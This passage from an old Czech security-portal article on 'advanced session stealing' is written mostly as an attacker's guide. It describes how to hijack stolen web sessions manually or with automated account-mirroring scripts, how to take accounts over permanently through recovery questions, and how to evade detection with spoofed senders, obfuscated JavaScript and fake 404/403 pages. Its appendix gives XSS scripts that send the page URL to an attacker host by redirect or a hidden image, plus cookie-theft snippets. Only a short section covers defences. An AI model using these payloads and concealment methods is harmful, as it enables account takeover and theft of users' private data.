Tímto způsobem se však dají spustit pouze lokální programy.

I když M$IE >=5.5 pokrývá více než 90% uživatelů, dalších 5% M$IE <5.5, mohli bychom se ještě podívat na netscape (což je prakticky zbytek, protože mozillu, operu, konqueror atd. už používají opravdu jen labužníci, kteří se vejdou asi tak do 0.3% uživatelů). Tady je to trochu horší. Jsou

tu dvě důležité věci. Netscape na M$ si také ukládá informace o proxy do registrů. Ovšem nemá žádnou díru, která by zásah do nich umožňovala. Na druhou stranu obsahuje přímo javascriptové funkce na zjištění a nastavení proxy serveru. Samozřejmě to neni tak jednoduché. Na to, aby script mohl tyto funkce používat, musí si od uživatele vyžádat potřebná práva. Na to je JS funkce, která vyvolá dialogove okno, kde musí uživatel zvýšení práv potvrdit.

```
netscape.security.PrivilegeManager.enablePrivilege(PozadovanaPrava);
```

To je docela nápadné :o(, ale možná by to někdo v zápalu browsení odkliknul :o).

To je tedy zatím asi vše, když pominu využití "klasických" trojských koňů. To bychom pak asi nepotřebovali tu session krást takhle složitě :o) Kdyby však někdo objevil další díry nebo možnosti, jak klienta vzdáleně "donutit" k dočasnému použití cizí proxy, budu rád, když mi dáte vědět na adresu shift@mailbase.org [13]

## 4. Serverová "výkonná" část



Samotné získání sessionid je samozřejmě důležitá věc, ale sama o sobě je v podstatě neškodná. Nebezpečná začne být až v momentě, kdy ji útočník využije. O tom bude právě tato kapitola. Měla by poukázat na to, jaké riziko tento typ útoku představuje, jak je nebezpečný, jaké jsou jeho možnosti a omezení, jaké účinné ochrany se dají použít, a doufám, že přispěje k tomu, aby se toto téma přestalo tolik podceňovat, a to i tam, kde je jen okrajovou záležitostí k "velkému" funkčnímu jádru.

Tak jsem si udělal alibi a můžem se do toho pustit :o)

### 4.1 Manuální attack

Pokud se chcete dobře pobavit, vyhlédněte si dobrý chat (vulnerabilní), a zvolte tento typ útoku. Spočívá v tom, že naše "serverová" část "trojského koně" pouze přijme získané informace o session, a pouze je někam uloží a zpřístupní útočníkovi. Ten pak informace ručně naťuká do brovseru, a je přihlášen pod někým jiným. Má to oproti ostatním typům výhodu, že je to nejméně práce (tak 3 radky v PHP). K nějakým rozsáhlým útokům je to nevhodné hlavně ze dvou důvodů. Kvůli časové náročnosti (člověk nestihne proklikat účet tak rychle, jako nějaký automat), a hlavne kvůli tomu, že útočník musí být on-line zároveň s obětí a tak nějak se synchronizovat se získáním session informací (musí třeba neustále kontrolovat místo, kam se mu tyto informace ukládají, nebo příchozí poštu apod.). Výhody jsou v podstatě taky dvě. Když se jedná např. o chat, užije si útočník dost legrace, ale hlavně je o něco flexibilnejší v prozkoumávání účtu, a aktuálním rozhodování, které informace jsou důležité. Takový automat vám asi moc nezaimprovizuje :o(.

### 4.2 Automaty

Daleko nebezpečnější typ útoku je automat. K tomuto účelu výborně poslouží skriptovací jazyky spouštěné na serveru (k tomu předchozímu vlastně taky). Já osobně preferuji PHP, protože pro tento účel nejlépe kombinuje výhody regulárních výrazů posix i Perlu a jednoduchou práci se vzdálenými soubory

přes HTTP (klient). Stejně dobře by se však samozřejmě daly použít ASP, JSP nebo Perl. Takový automat vyžaduje velmi důkladnou přípravu a to hlavně ve dvou směrech. Prozkoumání vyhlédnuté webové služby a potom příprava vhodneho automatu.

Při prozkoumávání služby je třeba se zaměřit především na místo průniku (kde a jaké informace o session získáme), a take na "vstupní" místo pro automat. To proto, že se může jednoduše stát, že místo průniku bude tak nějak "vystrčené" ze session. Např. zjistíte, že můžete infiltrovat webmail vhodnou přílohou. Ta se však normálně otevírá v novém okně a bez jakýchkoliv linků a menu kolem. Získané url v momentě průniku bude vypadat třeba nějak takto: http://www.freemail.com/attach.php?att=vyhra.html&sid=v3rt3445c34xr2RXr3... [14]. Přímo na tomto url však je pouze vámi zaslaná příloha a žádné důležité informace. Pro automat je tato stránka k ničemu, protože v ní nejsou žádné linky, nic čím by mohl session opravdu nabourat. Je třeba mu ještě zadat "vstupní" url uvnitř session. Pro náš případ to může být např. http://www.freemail.com/main.php?sid=v3rt3445c34xr2RXr32rfx2 [15], kde už budou odkazy do jednotlivých složek, nastavení apod. Jako první krok je tedy třeba přetransformovat adresu průniku na vstupní adresu (v PHP je to otázka jednoho regulárního výrazu). Potom už stačí vygrepovat odkazy uvnitř session a rekursivne procházet obsah účtu. V takovém případě byste měli získat veškerý obsah.

Takový automat může být bud výše uvedený (zmiroruje kompletně účet) a nebo může být zaměřen pouze na konkrétní sekce či informace (např. osobní info). To záleží na předchozím prozkoumání služby. Samozřejmě kompletní mirror může být časově poměrně náročný, zvlášť třeba u hodne "oblíbených" klientů webmailu :o).

### 4.3 Trvalý přístup

Před tím než se pokusíte získat do účtu trvalý přístup, byste si měli pořádně rozmyslet, co to bude mít za následky. Tyto pokusy totiž téměř vždy vedou k tomu, že vašim získáním přístupu ho ztratí původní uživatel. To může vést k nepříjemným situacím a konfrontacím se správci služby apod.

Je asi nesmysl čekat někde přímo napsané vstupní heslo. To se vám spíš může stát, že heslo bude součástí identifikace session (což by v této fázi znamenalo, že už ho máte ;o)). Co však dost pravděpodobně získáte, je tzv. kontrolní otázka a všechny dostupné osobní informace. Obojí se používá v případě zapomenutí hesla. Dobrá věc pro zapomnětlivé uživatele, ale také pro zvídave útočníky. U některých služeb se můžete setkat s tím, že se používá přímo pro přístup (např. http://www.post.cz [8]).
Pak máte celkem ideální případ. Máte stálý přístup dokud si uživatel nezmění odpověď, a navíc původní uživatel má přístup také a nemusí mít žádné podezření. Většinou se ale kontrolní otázka používá k ověření vaší identifikace např. při komunikaci s helpdeskem, když jste zapomněli heslo a chcete ho zaslat. Čímž také získáte trvalý přístup. Bohužel u seriozních serverů to znamená, že bude vygenerováno nové heslo, a původní uživatel tím ztratí přístup. Hesla u seriozních služeb se uchovávají v jednosmerně zakryptované podobě (hash), takže nelze původní heslo zpětně zjistit (při ověřování se zadané heslo zakryptuje stejným způsobem a porovnavají se hashe). Proto se v případě ztráty musí zadat nové. Původní uživatel se pak pravděpodobně bude snažit o to samé co vy (nastavit heslo přes kontrolní otázku) a pokud mu to nepůjde, tak přes osobní informace. Je tedy dobré změnit pokud možno všechny informace, a doufat, že ty původní nebude mít provider v zálohách.

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

## 5. Zamaskování útoku



K úspěšnému provedení popsaného útoku jsou potřeba také tyto dvě věci: dobrá kamufláž a dobré zamaskování útoku, aby napadený uživatel nepojal podezření ;o)

### 5.1 Kamufláž před útokem

Prakticky při každém typu útoku je třeba přimět napadeného uživatele k nějaké akci, ať už je to kliknutí na odkaz, otevření přílohy mailu, nebo alespoň přímo otevření mailu. Proto je potřeba zvolit dobrou kamufláž, která nebude podezřelá a zapůsobí na uživatele tak, že prostě neodolá :o). Toto je samozřejmě otázka spíše řekněme určitého sociálního inženýrství. Je však asi dobré vědět, jaké prostředky se dají k úspěšné kamufláži použít. Samozřejmě je dobré potřebnou akci evokovat vhodnym textem (např. klikni a vyhraj :o)), to je na fantazii každého. U útoku přes email je však např. důležité zvolit vhodnou odchozí emailovou adresu. Rozhodně je blbost používat svojí vlastní běžně používanou. Daleko lepší je použít např. adresu administrátora služby apod. Metodami jak poslat email z libovolné adresy tak, že se nedá zjistit původce, se tady nebudu zabývat, možna v nějakém jiném dokumentu. Pokud se jedná o útok přes odkaz, je důležité zvolit "co nejméně podezřelou" adresu. Samozřejmě na málokterém webhostingu dostanete libovolnou doménu :o(, ale duležité je i to, vzbudit důvěru tvarem adresy. Je dobré se vyhnout příponám skriptů (.php, .asp, .pl, .jsp, .cgi), ty jsou samozřejmě hned podezřelé. Když není jiná možnost, je lepší dát index do adresáre (nebo default u asp). Adresy končící adresářem a lomítkem vypadají důvěryhodněji. Ještě lepší je např. nastavit interpretaci běžných přípon (napr. .html, .htm, .rtf, .doc, .pdf apod), jenže k tomu potřebujete být správcem webserveru :o(

Důležité také samozřejmě je, aby se pokud možno nedalo zjistit, odkud útok přišel. Takže je dobré si zjistit např. co všechno se loguje u webserveru apod. Málokterý web server si např. loguje obsah dat u metody POST, takže pokud máte možnost svůj skript poslat metodou POST (vetsinou přes formulář), těžko vás budou dohledávat podle obsahu (pokud tu nejsou jiná vodítka).

### 5.2 Maskování klientske části

Tohle vlastně úzce souvisí s předchozím odstavcem. Dokonce to maskování přípon by mělo patřit spíše sem. Rozdíl je asi hlavně v tom, že to co je uvedeno výše, je vlastně kamufláž, která se týka normálně interpretovaného obsahu klientské části (toho co uživatel přímo vidí v okně prohlížeče). Účel je tedy, aby uživatel nepojal podezření, a nezačal zkoumat html zdroják zbytečně brzy.

Přímo v klientské části je samozřejmě nějakým způsobem zapsaná adresa k serverové části, ať už jako link, zdroj obrázku, nebo jiným způsobem, ale zkrátka tam je. Samozřejmě i zde se dají použít metody z předchozího odstavce. Pokud však máte k dispozici Javascript můžete tuto adresu poměrně efektivně skrýt nějakým šifrováním. Samozřejmě to není 100%, protože celý šifrovací algoritmus musí být opět v JavaScriptu a bude tudíž ve zdrojáku přístupný také. Může to ale odradit některé méně zvýdavé uživatele. Je tu samozřejmě možnost odkazu na JS z jiného souboru, tím bychom si ale na sebe vytvořili další stopu.

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

Důležitá je však další věc. Pokud je použit k útoku JavaScript, který přistupuje k objektu "dokument.location" nebo "document.referrer", může být výskyt těchto objektů v kódu také podezřelý. Není to sice stopa, ale může být také užitečné se těchto řetězců ve zdrojáku zbavit. Můžeme se pokusit podezřívavého uživatele zmást tím, že si objekty postupně a co nejnepřehledněji uložíme do proměnných (to je vlastně standardní programování :o)). V takovém kódu však uvedené řetězce stále budou, pouze odděleně.

```
<script language="javascript">

<--
var aa = document;
var bb = aa;
var ab = aa.referer; var ac = bb;
var ba = bb.location; var cu = (3-7);
//-->
</script>
```

No každý sám asi nejlépe ví, jak udělat co nejchaotičtější skript :o).

O něco sofistikovanější způsob, jak tyto řetězce skrýt, je použít velmi užitečnou funkci eval(). Programátoři v perlu už vědi... Tato funkce má jako parametr objekt typu string (obyčejný řetězec), a daný řetězec zpracuje jako vlastní kód. To nám pochopitelně dává daleko širší možnosti pro maskování. Například se pak dá i na vlastní kód použít libovolné šifrování, pochopitelně se stejným problémem šifrovacího algoritmu, jako v předchozím.

### 5.3 Maskování serverove části

Pokud se nepodařilo vhodne zamlžit adresu serverové části útoku, a uživatel ji zjistil, je třeba ho přesvědčit, že se jedná o neškodnou adresu. Opět je to převážně na vaší fantazii. Rád bych zmínil metodu maskování chybovým kódem v HTTP hlavičce. Na to skočí skoro každý :o). Jak se to dělá? Je potřeba mít ve skriptovacím jazyce přístup k http hlavičce. To je v PHP přes funkci header(), v ASP by to mělo být přes objekt response.header. Sem pak podstrčíte libovolný návratový kód s jeho popisem a do těla potom nějakou standardní hlášku k tomuto kódu (to snadno zjistíte, když si telnetem zavoláte libovolnou URL, která vyvolá tento kód). Mezi moje oblibené patří:

```
HTTP/1.1 404 Not Found
HTTP/1.1 403 Forbidden
```

Ta 404 je trochu nápadnější, protože může být podezřelé, že je v kódu odkaz na neexistujici skript. U 403 to aspon vypadá, že existuje. Každopádně to dost lidi uklidní, že to žádný útok není.

Pochopitelně se teď můžeme dostat do takové smyčky, že může být podezřelá ve scriptu např. funkce eval(), nebo algoritmy připomínající kryptování apod. ale když se kód napíše "úhledně" (pěkně na pohled), ale dostatečně nepřehledně logicky, myslím že to odradí hodně lidí. Takovým typickým příkladem "úhledně" "nepřehledného" kódu jsou např. javascripty ve stránkách Microsoftu :o)

## 6. Některé způsoby ochrany

No dostali jsme se na konec. Rád bych tedy nějak shrnul hlavní nebezpečí

a ochranná opatření proti nim.

1. Fáze infiltrace. Té je třeba za každou cenu zabránit. Jak jsme videli, k úspěšné infiltraci vede vždy jen interpretace html, ať už tak jak bylo zadáno, či nějakým vedlejším efektem (např. v chatu zadáte adresu, a doplní se k ní ... [16]). Této interpretaci je tedy třeba se za každou cenu vyhnout. Kamenem úrazu je nejčastěji určitý kompromis mezi pohodlím uživatele a bezpečností.

2. Fáze útoku. Pokud se podaří infiltrace, není ještě vše ztraceno. Hodně útokům se dá zabránit kontrolou IP adresy. Tady však opět u některých poskytovatelu vítězí pohodlí uživatelů (např. pripojenych pres dial-up), nebo řekněme lennost a to, že se spolehnou na built-in session mechanismy, které však tuto kontrolu implicitně **NEMAJÍ!**

Není na škodu k tomu kontrolovat i referer. To by mělo omezit aspon ty "jednodušší" manuální útoky. A když už kontrolovat REFERER ci X-FORWARDED-FOR, tak včetně toho, jestli např. nebyly podstrčeny prachobyčejně v URL. Pak by třeba v PHP měly být i v poli $HTTP_GET_VARS.

Tak doufám, že se tento dokument taky dostane k providerům webovych služeb a něco si z toho vezmou :o)

**Přílohy**
**Ukázky skriptů**

1) Získání adresy presměrováním

```
<script language="javascript">
<!--
  document.location = 'http://matrix/?url=' + document.location;
//-->
</script>
```

2) Získání adresy přes obrázek

```
<script language="javascript">
<!--
  document.write('<img src="http://matrix/?url=' + document.location + '" width=0
height=0>');
//-->

</script>
```

3) Získání cookies (následně se dá odeslat předchozími metodami)

```
<script language="javascript">
<!--
 function getCookies() {
   if (document.cookie.length > 0) return unescape(document.cookie.substring(0,
document.cookie.length));
 }
//-->
</script>
```

4) Nastavení cookies

```
<script language="javascript">
<!--
 function setCookie(name, value, expire) {
   document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : (";
expires=" + expire.toGMTString()))
 }
//-->
</script>
```

5) Spuštění programu kalkulačka přes activeX

```
<script language="javascript">
<!--
  document.write('<OBJECT NAME="X"
CLASSID="CLSID:11111111-1111-1111-1111-11111111111"
 CODEBASE="c:/windows/calc.exe"></object>');
//-->
</script>
```

6) PHP skript na maskování kódem 404

```
<?
  header("HTTP/1.1 404 File Not Found");
?>

<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL <? echo $SCRIPT_NAME; ?> was not found on this server.<P><HR>

<ADDRESS>Apache/1.3.12 Server at <? echo "$HTTP_HOST Port $SERVER_PORT"; ?></ADDRESS>
</BODY></HTML>
```

7) Perlovský skript na převod hexadecimálních hodnot z win registru na ascii znaky (1 radek !!)

```
#!/usr/bin/perl
while (<>) {s/(\s*[0-9a-f]{2},\\?)/chr(hex($1))/ge; print}
```

**Užitečné odkazy**

Tak jěště pár odkazů, nejen k tomuto tématu.

http://www.w3.org/ [17] - The World Wide Web Consortium, zde najdete všechny specifikace tykajici se HTTP, HTML, CSS, ale i Javascriptu apod.

http://developer.netscape.com/docs/manuals/communicator/jsref/index.htm [18] - Celkem kompletní reference JavaScriptu pro Netscape, ale neobsahuje administrátorské funkce, zminene ve 4.3.5

http://www.faqts.com/knowledge_base/index.phtml/fid/53/ [19] - Zde najdete užitečné informace o JavaScriptu, včetne privilegovaných scriptů pro Netscape

http://www.hotscripts.com/JavaScript/ [20]

http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/dhtml_reference_entry.asp [21] - Kompletní reference dhtml pro M$IE >= 5.5

http://activex.microsoft.com/ [22] - Galerie a reference k activeX control prvkům (pro další zkoumání kap. 3.3.5)

http://www.zive.cz/H/Uzivatel/Ar.asp?ARI=103841&CAI=2105 [11] - M$IE spustí libovolný program na vašem disku.

http://www.securiteam.com/exploits/5FP080A5FM.html [10] - Javascript umožňuje zápis do registrů

http://www.php.net/manual/en/ [23] - On-line manuál k PHP i s vyhledáváním.

http://www.securitytracker.com/startup/index.html [24]
http://www.compro-serve.com/news.html [25]

Tento článek byl před dávným časem zveřejněn i na serveru underground.cz [26] (bez nároků na vlastnictví), ale zde vyjde i jeho pokračování...

**URL článku:** https://security-portal.cz/clanky/advanced-session-stealing-%C4%8D%C3%A1st-1

**Odkazy:**
[1] https://security-portal.cz/users/c0stra
[2] https://security-portal.cz/category/tagy/hacking
[3] https://security-portal.cz/category/tagy/hacking-method
[4] https://security-portal.cz/category/tagy/programming
[5] https://security-portal.cz/category/tagy/security
[6] http://www.xchat.cz
[7] http://www.centrum.cz
[8] http://www.post.cz
[9] http://www.atlas.cz
[10] http://www.securiteam.com/exploits/5FP080A5FM.html
[11] http://www.zive.cz/H/Uzivatel/Ar.asp?ARI=103841&CAI=2105
[12] http://galileo.spaceports.com/%7Eshift/calcmsie.html
[13] mailto:shift@mailbase.org
[14] http://www.freemail.com/attach.php?att=vyhra.html&sid=v3rt3445c34xr2RXr32rfx2
[15] http://www.freemail.com/main.php?sid=v3rt3445c34xr2RXr32rfx2
[16] https://security-portal.cz/...
[17] http://www.w3.org/
[18] http://developer.netscape.com/docs/manuals/communicator/jsref/index.htm
[19] http://www.faqts.com/knowledge_base/index.phtml/fid/53/
[20] http://www.hotscripts.com/JavaScript/
[21] http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/refer%0Aence/dhtml_reference_entry.asp
[22] http://activex.microsoft.com/
[23] http://www.php.net/manual/en/
[24] http://www.securitytracker.com/startup/index.html
[25] http://www.compro-serve.com/news.html
[26] http://www.underground.cz/797

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn